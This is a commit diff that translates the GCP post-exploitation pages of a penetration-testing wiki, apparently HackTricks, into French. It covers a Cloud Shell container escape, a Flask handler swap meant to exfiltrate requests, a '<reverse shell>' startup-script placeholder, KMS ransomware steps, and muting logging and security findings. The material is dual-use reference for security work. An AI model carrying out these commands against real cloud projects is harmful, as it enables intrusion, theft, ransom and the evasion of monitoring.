Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-01 23:59:39 +00:00
parent 9bd90436f1
commit 4ffa248b02
210 changed files with 1311 additions and 1324 deletions

View File

@@ -32,7 +32,7 @@ gcloud app logs tail -s <name>
```
### Lire le code source
Le code source de toutes les versions et services est **stocké dans le bucket** avec le nom **`staging.<proj-id>.appspot.com`**. Si vous avez un accès en écriture, vous pouvez lire le code source et rechercher des **vulnérabilités** et des **informations sensibles**.
Le code source de toutes les versions et services est **stocké dans le bucket** nom **`staging.<proj-id>.appspot.com`**. Si vous avez un accès en écriture, vous pouvez lire le code source et rechercher des **vulnérabilités** et des **informations sensibles**.
### Modifier le code source

View File

@@ -1,10 +1,10 @@
# GCP - Artifact Registry Post Exploitation
# GCP - Post Exploitation de l'Artifact Registry
{{#include ../../../banners/hacktricks-training.md}}
## Artifact Registry
Pour plus d'informations sur Artifact Registry, consultez :
Pour plus d'informations sur l'Artifact Registry, consultez :
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,7 +12,7 @@ Pour plus d'informations sur Artifact Registry, consultez :
### Privesc
Les techniques de Post Exploitation et de Privesc d'Artifact Registry ont été mélangées dans :
Les techniques de Post Exploitation et de Privesc de l'Artifact Registry ont été mélangées dans :
{{#ref}}
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md

View File

@@ -1,4 +1,4 @@
# GCP - Cloud Build Post Exploitation
# GCP - Post-exploitation de Cloud Build
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - Cloud Functions Post Exploitation
# GCP - Post-exploitation des Cloud Functions
{{#include ../../../banners/hacktricks-training.md}}
@@ -23,7 +23,7 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
Si la Cloud Function gère des informations sensibles que les utilisateurs envoient (par exemple, des mots de passe ou des jetons), avec suffisamment de privilèges, vous pourriez **modifier le code source de la fonction et exfiltrer** ces informations.
De plus, les Cloud Functions exécutées en python utilisent **flask** pour exposer le serveur web. Si vous trouvez d'une manière ou d'une autre une vulnérabilité d'injection de code à l'intérieur du processus flaks (une vulnérabilité SSTI par exemple), il est possible de **remplacer le gestionnaire de fonction** qui va recevoir les requêtes HTTP par une **fonction malveillante** qui peut **exfiltrer la requête** avant de la transmettre au gestionnaire légitime.
De plus, les Cloud Functions exécutées en python utilisent **flask** pour exposer le serveur web. Si vous trouvez d'une manière ou d'une autre une vulnérabilité d'injection de code dans le processus flask (une vulnérabilité SSTI par exemple), il est possible de **remplacer le gestionnaire de fonction** qui va recevoir les requêtes HTTP par une **fonction malveillante** qui peut **exfiltrer la requête** avant de la transmettre au gestionnaire légitime.
Par exemple, ce code implémente l'attaque :
```python
@@ -52,7 +52,6 @@ else:
return "Hello World!"
# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

View File

@@ -1,4 +1,4 @@
# GCP - Cloud Run Post Exploitation
# GCP - Post-exploitation de Cloud Run
{{#include ../../../banners/hacktricks-training.md}}
@@ -18,6 +18,6 @@ Si les images sont stockées dans des dépôts à l'intérieur du service Artifa
### Modifier et redéployer l'image
Modifiez l'image d'exécution pour voler des informations et redéployez la nouvelle version (il ne suffit pas de télécharger un nouveau conteneur docker avec les mêmes balises pour qu'il soit exécuté). Par exemple, si elle expose une page de connexion, volez les identifiants que les utilisateurs envoient.
Modifiez l'image d'exécution pour voler des informations et redéployez la nouvelle version (il ne suffit pas de télécharger un nouveau conteneur docker avec les mêmes balises pour qu'il soit exécuté). Par exemple, s'il expose une page de connexion, volez les identifiants que les utilisateurs envoient.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# GCP - Cloud Shell Post Exploitation
# GCP - Post-exploitation de Cloud Shell
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ Pour plus d'informations sur Cloud Shell, consultez :
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### Évasion de conteneur
Notez que Google Cloud Shell s'exécute à l'intérieur d'un conteneur, vous pouvez **facilement échapper à l'hôte** en faisant :
```bash
@@ -19,7 +19,7 @@ sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
Ce n'est pas considéré comme une vulnérabilité par Google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement.
Cela n'est pas considéré comme une vulnérabilité par Google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement.
De plus, notez qu'à partir de l'hôte, vous pouvez trouver un jeton de compte de service :
```bash
@@ -49,14 +49,14 @@ Si vous souhaitez utiliser votre instance de google cloud shell comme proxy, vou
```bash
sudo apt install -y squid
```
Juste pour vous informer, Squid est un serveur proxy http. Créez un **squid.conf** fichier avec les paramètres suivants :
Créez un fichier **squid.conf** avec les paramètres suivants :
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```
copiez le **squid.conf** fichier dans **/etc/squid**
copiez le fichier **squid.conf** dans **/etc/squid**
```bash
sudo cp squid.conf /etc/squid
```
@@ -70,7 +70,7 @@ Utilisez ngrok pour rendre le proxy accessible de l'extérieur :
```
Après avoir exécuté, copiez l'URL tcp://. Si vous souhaitez exécuter le proxy depuis un navigateur, il est conseillé de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramètres de proxy de votre navigateur (squid est un serveur proxy http).
Pour une meilleure utilisation au démarrage, le fichier .bashrc doit contenir les lignes suivantes :
Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes :
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/

View File

@@ -1,4 +1,4 @@
# GCP - Cloud SQL Post Exploitation
# GCP - Post-exploitation de Cloud SQL
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Pour plus d'informations sur Cloud SQL, consultez :
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
Pour se connecter aux bases de données, vous **avez juste besoin d'accéder au port de la base de données** et de connaître le **nom d'utilisateur** et le **mot de passe**, il n'y a pas d'exigences IAM. Donc, un moyen facile d'obtenir l'accès, en supposant que la base de données a une adresse IP publique, est de mettre à jour les réseaux autorisés et **permettre à votre propre adresse IP d'y accéder**.
Pour se connecter aux bases de données, vous **avez juste besoin d'accéder au port de la base de données** et de connaître le **nom d'utilisateur** et le **mot de passe**, il n'y a pas d'exigences IAM. Donc, un moyen facile d'accéder, en supposant que la base de données a une adresse IP publique, est de mettre à jour les réseaux autorisés et **permettre à votre propre adresse IP d'y accéder**.
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \

View File

@@ -1,4 +1,4 @@
# GCP - Compute Post Exploitation
# GCP - Post Exploitation Compute
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Pour plus d'informations sur Compute et VPC (Réseautage), consultez :
### Exporter et inspecter les images localement
Cela permettrait à un attaquant d'**accéder aux données contenues dans des images déjà existantes** ou **de créer de nouvelles images de VMs en cours d'exécution** et d'accéder à leurs données sans avoir accès à la VM en cours d'exécution.
Cela permettrait à un attaquant d'**accéder aux données contenues dans des images déjà existantes** ou de **créer de nouvelles images de VMs en cours d'exécution** et d'accéder à leurs données sans avoir accès à la VM en cours d'exécution.
Il est possible d'exporter une image de VM vers un bucket, puis de la télécharger et de la monter localement avec la commande :
```bash
@@ -34,7 +34,7 @@ Et le SA `<project-id>-compute@developer.gserviceaccount.com` a besoin de :
### Exporter et inspecter les instantanés et disques localement
Il n'est pas possible d'exporter directement des instantanés et des disques, mais il est possible de **transformer un instantané en disque, un disque en image** et suivant la **section précédente**, d'exporter cette image pour l'inspecter localement.
Il n'est pas possible d'exporter directement des instantanés et des disques, mais il est possible de **transformer un instantané en disque, un disque en image** et, suivant la **section précédente**, d'exporter cette image pour l'inspecter localement.
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
@@ -44,13 +44,13 @@ gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source
```
### Inspecter une image en créant une VM
Avec l'objectif d'accéder aux **données stockées dans une image** ou à l'intérieur d'une **VM en cours d'exécution** depuis laquelle un attaquant **a créé une image,** il est possible d'accorder à un compte externe l'accès à l'image :
Dans le but d'accéder aux **données stockées dans une image** ou à l'intérieur d'une **VM en cours d'exécution** depuis laquelle un attaquant **a créé une image,** il est possible d'accorder à un compte externe l'accès à l'image :
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
et ensuite créer une nouvelle VM à partir de cela :
et ensuite créez une nouvelle VM à partir de cela :
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
@@ -66,7 +66,7 @@ echo "hello"; <reverse shell>'
Avec l'objectif d'accéder aux **données stockées dans un disque ou un instantané, vous pourriez transformer l'instantané en disque, un disque en image et suivre les étapes précédentes.**
Ou vous pourriez **accorder l'accès à un compte externe** sur le disque (si le point de départ est un instantané, donner l'accès à l'instantané ou créer un disque à partir de celui-ci) :
Ou vous pourriez **accorder l'accès à un compte externe** sur le disque (si le point de départ est un instantané, accordez l'accès sur l'instantané ou créez un disque à partir de celui-ci) :
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \

View File

@@ -12,7 +12,7 @@ Pour plus d'informations sur Filestore, consultez :
### Monter Filestore
Un système de fichiers partagé **peut contenir des informations sensibles** intéressantes du point de vue d'un attaquant. Avec l'accès au Filestore, il est possible de **le monter** :
Un système de fichiers partagé **peut contenir des informations sensibles** intéressantes du point de vue d'un attaquant. Avec l'accès à Filestore, il est possible de **le monter** :
```bash
sudo apt-get update
sudo apt-get install nfs-common
@@ -56,7 +56,7 @@ gcloud filestore instances update nfstest \
}
}
```
### Restore a backup
### Restaurer une sauvegarde
S'il y a une sauvegarde, il est possible de **la restaurer** dans une instance existante ou dans une nouvelle instance afin que ses **informations deviennent accessibles :**
```bash

View File

@@ -12,9 +12,9 @@ Vous pouvez trouver plus d'informations sur IAM dans :
### Accorder l'accès à la console de gestion <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
L'accès à la [console de gestion GCP](https://console.cloud.google.com) est **fourni aux comptes utilisateurs, pas aux comptes de service**. Pour vous connecter à l'interface web, vous pouvez **accorder l'accès à un compte Google** que vous contrôlez. Cela peut être un compte générique "**@gmail.com**", il n'est **pas nécessaire qu'il soit membre de l'organisation cible**.
L'accès à la [console de gestion GCP](https://console.cloud.google.com) est **fourni aux comptes utilisateurs, pas aux comptes de service**. Pour vous connecter à l'interface web, vous pouvez **accorder l'accès à un compte Google** que vous contrôlez. Cela peut être un compte générique "**@gmail.com**", il **n'a pas besoin d'être membre de l'organisation cible**.
Pour **accorder** le rôle primitif de **Propriétaire** à un compte générique "@gmail.com", vous devrez **utiliser la console web**. `gcloud` renverra une erreur si vous essayez de lui accorder une permission supérieure à Éditeur.
Pour **accorder** le rôle primitif de **Propriétaire** à un compte générique "@gmail.com", cependant, vous devrez **utiliser la console web**. `gcloud` renverra une erreur si vous essayez de lui accorder une permission supérieure à Éditeur.
Vous pouvez utiliser la commande suivante pour **accorder à un utilisateur le rôle primitif d'Éditeur** pour votre projet existant :
```bash

View File

@@ -12,7 +12,7 @@ Trouvez des informations de base sur KMS dans :
### `cloudkms.cryptoKeyVersions.destroy`
Un attaquant avec cette permission pourrait détruire une version KMS. Pour ce faire, vous devez d'abord désactiver la clé, puis la détruire :
Un attaquant ayant cette permission pourrait détruire une version KMS. Pour ce faire, vous devez d'abord désactiver la clé, puis la détruire :
```python
# pip install google-cloud-kms
@@ -61,13 +61,13 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
Dans AWS, il est possible de **voler complètement une clé KMS** en modifiant la politique de ressource KMS et en n'autorisant que le compte des attaquants à utiliser la clé. Comme ces politiques de ressource n'existent pas dans GCP, cela n'est pas possible.
Cependant, il existe une autre façon de réaliser un ransomware KMS global, qui impliquerait les étapes suivantes :
Cependant, il existe une autre façon d'effectuer un ransomware KMS global, qui impliquerait les étapes suivantes :
- Créer une **nouvelle version de la clé avec un matériel de clé** importé par l'attaquant
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Définissez-le comme **version par défaut** (pour les données futures à chiffrer)
- Définissez-le comme **version par défaut** (pour les futures données à chiffrer)
- **Re-chiffrez les anciennes données** chiffrées avec la version précédente avec la nouvelle.
- **Supprimez la clé KMS**
- Maintenant, seul l'attaquant, qui possède le matériel de clé original, pourrait être en mesure de déchiffrer les données chiffrées

View File

@@ -1,8 +1,8 @@
# GCP - Logging Post Exploitation
# GCP - Journalisation Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Informations de base
## Informations de Base
Pour plus d'informations, consultez :
@@ -16,11 +16,11 @@ Pour d'autres moyens de perturber la surveillance, consultez :
gcp-monitoring-post-exploitation.md
{{#endref}}
### Journalisation par défaut
### Journalisation par Défaut
**Par défaut, vous ne serez pas pris en flagrant délit simplement pour avoir effectué des actions de lecture. Pour plus d'infos, consultez la section Enumération des journaux.**
**Par défaut, vous ne serez pas pris en flagrant délit simplement pour avoir effectué des actions de lecture. Pour plus d'infos, consultez la section Journalisation Enum.**
### Ajouter un principal excepté
### Ajouter un Principal Exempté
Dans [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) et [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit), il est possible d'ajouter des principaux pour ne pas générer de journaux. Un attaquant pourrait en abuser pour éviter d'être pris.

View File

@@ -72,7 +72,7 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
```
### `monitoring.snoozes.update`
Mettre à jour le timing d'un snoozer pour empêcher la création d'alertes lorsque l'attaquant est intéressé :
Mettez à jour le timing d'un snoozer pour éviter que des alertes ne soient créées lorsque l'attaquant est intéressé :
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME

View File

@@ -45,7 +45,7 @@ Obtenez tous les messages dans un serveur web :
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
Créer une souscription et l'utiliser pour **tirer des messages** :
Créez une souscription et utilisez-la pour **extraire des messages** :
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -72,7 +72,7 @@ Donnez-vous les autorisations nécessaires pour effectuer l'une des attaques pr
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Attaquez un schéma à un sujet afin que les messages ne le remplissent pas et que, par conséquent, le sujet soit perturbé.\
Attaquez un schéma à un sujet afin que les messages ne le remplissent pas et que le sujet soit donc perturbé.\
S'il n'y a pas de schémas, vous devrez peut-être en créer un.
```json:schema.json
{
@@ -100,7 +100,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
```
### `pubsub.schemas.delete`
Cela peut sembler comme supprimer un schéma, vous pourrez envoyer des messages qui ne respectent pas le schéma. Cependant, comme le schéma sera supprimé, aucun message n'entrera réellement dans le sujet. Donc, c'est **INUTILE** :
Cela peut sembler comme la suppression d'un schéma, vous pourrez envoyer des messages qui ne respectent pas le schéma. Cependant, comme le schéma sera supprimé, aucun message n'entrera réellement dans le sujet. Donc, c'est **INUTILE** :
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
@@ -110,7 +110,7 @@ Donnez-vous les autorisations nécessaires pour effectuer l'une des attaques pr
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
Cela créera un instantané de tous les messages non ACK et les remettra à l'abonnement. Pas très utile pour un attaquant mais voici :
Cela créera un instantané de tous les messages non ACK et les remettra à l'abonnement. Pas très utile pour un attaquant mais le voici :
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME

View File

@@ -19,7 +19,7 @@ gcloud scc muteconfigs create my-mute-config --organization=123 --description="T
```
### `securitycenter.muteconfigs.update`
Prévenir la génération de constatations qui pourraient détecter un attaquant en mettant à jour un `muteconfig`:
Empêcher la génération de résultats qui pourraient détecter un attaquant en mettant à jour un `muteconfig`:
```bash
# Update Muteconfig
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""

View File

@@ -12,7 +12,7 @@ Pour plus d'informations sur le Stockage Cloud, consultez cette page :
### Donner un Accès Public
Il est possible de donner aux utilisateurs externes (connectés à GCP ou non) accès au contenu des buckets. Cependant, par défaut, le bucket aura désactivé l'option d'exposer publiquement un bucket :
Il est possible de donner aux utilisateurs externes (connectés à GCP ou non) accès au contenu des buckets. Cependant, par défaut, l'option d'exposer publiquement un bucket sera désactivée :
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,7 +25,7 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
Si vous essayez de donner **des ACL à un bucket avec des ACL désactivées**, vous trouverez cette erreur : `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Si vous essayez de donner **des ACL à un bucket avec des ACL désactivées**, vous rencontrerez cette erreur : `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Pour accéder aux buckets ouverts via le navigateur, accédez à l'URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`